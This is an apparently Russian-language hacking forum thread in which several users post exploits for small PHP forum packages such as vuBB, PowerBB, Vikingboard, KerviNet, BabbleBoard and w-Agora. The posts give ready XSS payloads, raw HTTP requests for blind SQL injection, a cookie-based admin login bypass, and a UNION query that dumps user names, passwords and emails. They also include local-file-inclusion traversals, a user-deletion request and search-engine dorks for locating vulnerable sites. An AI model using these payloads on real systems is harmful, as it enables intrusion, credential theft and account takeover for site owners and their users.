javascript:alert('Grey') => HTML (with semicolons): => &#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x47;&#x72;&#x65;&#x79;&#x27;&#x29;

Уязвимы теги: [url*], [ftp*], [email*].

Эксплуатация: при добавление сообщения, добавляем один из уязвимых тегов.

К примеру [url*]:

[url*=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x47;&#x72;&#x65;&#x79;&#x27;&#x29;]нажми на меня[/url*]

при переходе по ссылке выполнится скрипт.

Символ "*" - следует убрать.

iddqd
15.12.2008, 18:26
vuBB 0.2.2 Beta
Vendor: vubb.net

Active XSS

Есть возможность указать URL удаленной аватарки.
Вставляем вместо адреса код:
javascript:eval(String.fromCharCode(97,108,101,114 ,116,40,120,115,115,41,59))

Dork: "Copyright 2005-2006 vuBB"

(с) iddqd

xcedz
07.02.2009, 13:58
DeluxeBB 1.3 Released (06-02-09)
пассивная xss
/misc.php?sub=register&redirect=xss
пассивная xss в админке
admincp.php?sub=editforum&fid=xss
x_x cedz

xcedz
10.02.2009, 01:23
/***************************
* my little forum
* Version 2.1 beta 4
* http://mylittleforum.net
***************************/

passive xss

index.php?mode=posting&id=1&back=xss

ElteRUS
26.04.2009, 19:16
PowerBB 2.2.1
Сайт: http://powerwd.com/

Cтарый проект (2006 год), который собрались реанимировать http://www.powerwd.com/forum/view_topic.php?id=868


SQL-injection

Уязвимый код:
register.php

. . .
else if (isset($_POST['form_sent']))
{
. . .
if(isset($_COOKIE["forumreferrer"]))
{
$referral_id = $_COOKIE["forumreferrer"];
$result = $db->query('SELECT referral_count FROM '.$db->prefix.'users WHERE id='.$referral_id) or error('Invalid Member ID', __FILE__, __LINE__, $db->error());
. . .


Переменная forumreferrer из куки не фильтруется. Инъекцию можно провести при регистрации нового пользователя

Эксплуатация:
Например отправляем пакет:

POST /register.php?action=register HTTP/1.1
Host: [host_name]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; uk; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: [host_name]/register.php
Cookie: PHPSESSID=[PHPSESSID_value]; forumreferrer=1+and+1=if(substring(version(),1,1)= 5,1,(select+1+union+select+2)); forum_cookie=[forum_cookie_value]
Content-Type: application/x-www-form-urlencoded
Content-Length: [num_Cont_Len]
code=&form_sent=1&req_username=[username]&req_password1=[password]
&req_password2=[password]&req_image=[captcha]&req_email1=[email]&timezone=0&email_setting=1&save_pass=1

ZAMUT
29.05.2009, 23:10
/////////////////////////

Vikingboard 0.1.2

_http://vikingboard.com

/////////////////////////

Файл с данными для подключения к бд:

/inc/drivers/sql/driver_MySQL.php

Структура базы:

`PREFIX|member`
`id` int(11) NOT NULL auto_increment,
`name` varchar(50) default NULL,
`password` varchar(50) default NULL,
`email` varchar(50) default NULL,

Директории доступные на запись:
/cache/
SQL - инъекция

/members.php
if (empty($_POST['order']))
{
$DESC = 'DESC';
}
else
{
$DESC = $_POST['order'];
}

/inc/drivers/sql/sql_MySQL.php
function get_member_list($order, $desc, $showfrom, $total)
{

$this->database->query("SELECT m.`id`, m.`name`, m.`posts`, m.`registred`, m.`homepage`, m.`title`, m.`group`, g.`g_name`
FROM {$this->prefix}member m, {$this->prefix}group g WHERE g.`id` = m.`group`
ORDER BY m.`{$order}` {$desc} LIMIT {$showfrom},{$total}");
$this->queries++;
return $this->database;
}
Пример эксплоита:

POST /vig/members.php HTTP/1.0
User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: localhost
Accept: text/html

order=and if(ord(substring((select password from vboard_member where id=2),1,1))>5,1,(select id from vboard_pm))/*


Актив XSS

/post_parser.php
//BBCode for images
$post = preg_replace("#\[img\]([^\"']+?)\[/img\]#is", "<img src=\"$1\" alt=\"\" />", $post);
[#img=javascript:eval(String.fromCharCode(97,108,10 1,114,116,40,39,120,115,115,39,41))]loleg![/img#]

склеил с предыдущим постом

Дорк: "Powered by Vikingboard"

eLWAux
29.06.2009, 23:35
KerviNet forum v 1.1
dork: "Copyright KerviNet"

Blind SQLinj & Auth Bypass
/index.phpif($_COOKIE['user_enter']=="auto") {
$enter_login=$_COOKIE['enter_login'];
$enter_parol=$_COOKIE['enter_parol'];
$mysql->query("SELECT name, pass, status FROM users WHERE name = '".$enter_login."' AND pass = '".$enter_parol."'");exploit:COOKIE: user_enter=auto
COOKIE: enter_login = abc
COOKIE: enter_parol = ' or name = (select name from users where id_user=1) and '1'='1';
sqlQuery: SELECT name, pass, status FROM users WHERE name = 'abc' AND pass = '' or name = (select name from users where id_user<10 limit 1)
и вы автоматом зайдете под админом, даже не зная его имени (:

SQLinj
/message.php9: $topic=$_GET['topic'];
18: if($topic) {
69: $mysql->query("SELECT name, viewing, voting, status, top_status, id_forum FROM topics WHERE id_topic = ".$topic);exploit:/message.php?topic=-1+union+select+1,concat_ws(0x3a,id_user,name,pass, email),3,4,5,6+from+users

SiXSS
magic_quotes = Off
/message.php
exploit:/message.php?topic=-1+union+select+1,'{XSS}',3,4,5,6+from+users

aXSS
/add_voting.php
22: $topic=$_GET['topic'];
61: if($topic) {
66: $forum_edit->add_voting($time, $topic, $v_vopros, $variants);
74: }

function add_voting($time, $topic, $v_vopros, $variants) {
global $user;
global $user_ip;
if($user) {
global $mysql;
$mysql->query("UPDATE topics SET voting = 1 WHERE id_topic = ".$topic);
$mysql->query("INSERT INTO v_name VALUES (0, '".$v_vopros."', ".$topic.")");
$id_vname=mysql_insert_id();
for($i=0; $i<count($variants); $i+=1) {
$vr_nom=$i+1;
$mysql->query("INSERT INTO v_variants VALUES (".$vr_nom.", '".$variants[$i]."', ".$id_vname.")");
}
}
return $id_vname;
}exploit:/add_voting.php?topic=1
POST: add_voting = ok_add
POST: v_vopros = v
POST: v_variant1 = {XSS}
POST: v_variant2 = v2

удаление пользователей
/admin/edit_user.php
$del_user_id=$_POST['del_user_id'];
$mysql->query("DELETE FROM users WHERE id_user = ".$del_user_id);
exploit:POST: del_user_id=(select user_id from users limit 1)

Full path disclosure/include_files/voting_diagram.php
/include_files/voting.php
/include_files/topics_search.php
/include_files/topics_list.php
/include_files/top_part.php
/include_files/quick_search.php
/include_files/quick_reply.php
/include_files/moder_menu.php
/include_files/messages_list.php
/include_files/menu.php
/include_files/head.php
/include_files/forums_list.php
/include_files/forum_statistics.php
/include_files/forum_info.php
/include_files/birthday.php
/admin/head.php

HAXTA4OK
05.09.2009, 09:58
Pehota_Forum v2.0b

Активная XSS
Сообщения,Уязвимое поле Тема

посылаем сообщение любому пользователю, в поле Тема указываем <script>alert(/hiho/)</script>

и при получение сообщения высвечивается alert :)

ЗЫ еще есть активка при создание новой темы в самом форуме , но из за if (strlen($topic) > 25 and $topic != "") ограничения в 25 символов не возможно ее реализовать в целом,тока <script>alert()</script>

ElteRUS
18.11.2009, 03:01
BabbleBoard 1.1.6

Сайт: http://www.babbleboard.co.uk/
Табличка с юзерами: members (name, password)
Дефолтовый префикс: babbleboard_
дорк: "Powered by BabbleBoard"

Гугл выдал пару xss и csrf. Если я набоянил тут – сори

Множественные LFI’и , вот некоторые

mycontrols.php ( нужно быть зарегенным )

include "includes/pages/mycontrols/" . $_GET['act'] . ".php";

index.php?page=mycontrols&act=../../../../robots.txt%00



admin.php ( нужно быть админом)

include "includes/pages/admin/" . $_GET['act'] . ".php";

index.php?page=admin&act= ../../../../robots.txt%00



header.php

if (isset($_COOKIE['bb_lang']) && (!isset($_COOKIE['bb_name']))) {
$board_lang = $_COOKIE['bb_lang'];

// Get language files...
include "lang/$board_lang/lang_forum.php";

Редактируем куки bb_lang=../../../../../robots.txt%00


structure.php

$page = $_GET['page'];
$page = escape_string($page);

elseif (@include ("includes/pages/$page.php"))

site.com/forum/index.php?page=../../../../robots.txt/././.[...]


Пример: http://else-design.info/forum/index.php?page=../../../../robots.txt/././././.[...]/./.




SQL-injection
При меджик_квотес офф

Уязвимый код:
register.php

} elseif ($_POST['form'] != '') {
$query_email = "select EMAIL from {$db_prefix}members WHERE EMAIL='".$_POST['email']."'";
$result_email = mysql_query($query_email) or die("register.php - Error in query: $query_email");
$email_clash = mysql_num_rows($result_email);


Эксплуатировать инъекцию можно при регистрации, вставляя свой скл-код в поле email. Правда там есть такой злобный жаваскриптовский фильтр, который не даст нам зарегится, пока мы не удовлетворим его условия. В частности он проверяет чтобы был символ @ и не было запятых =) Можно отправить пакет вручную или состряпать например такой няшный запрос, чтобы обойтись без запятых



filter@fuckoff'/**/or/**/(case/**/when/**/ascii(substring((select/**/name/**/from/**/babbleboard_members/**/limit/**/1/*
*/offset/**/0)/**/from/**/1/**/for/**/1))>97/**/then/**/'1'/**/else/**/(select/**/1/**/union/**/select/**/2)/**/end)='1

RulleR
28.12.2009, 20:03
w-Agora forum
Web site : http://www.w-agora.com
Version : 4.2.1

Local File Inclusion

Vuln file: globals.inc [str:169]
/*...*/
if (isset($_GET['lang']) ) {
$lang = strtolower($_GET['lang']);
} elseif (isset($_POST['lang'])) {
$lang = $_POST['lang'];
} elseif (isset($_COOKIE['wa_lang'])) {
$lang = $_COOKIE['wa_lang'];
} elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} elseif (isset($_COOKIE['lang'])) {
$lang = strtolower($_COOKIE['lang']);
}
/*...*/
require ("$lang_dir/lang_$lang.inc");
/*...*/
Exploit:
if magic_quotes = OFFGET http://[host]/[path]/index.php HTTP/1.0
Cookie: lang=/../../../../../../[local_file]%00-------------------------------------------
w-Agora <= 4.2.1 (cat) Remote SQL Injection Vulnerability (http://milw0rm.com/exploits/4817)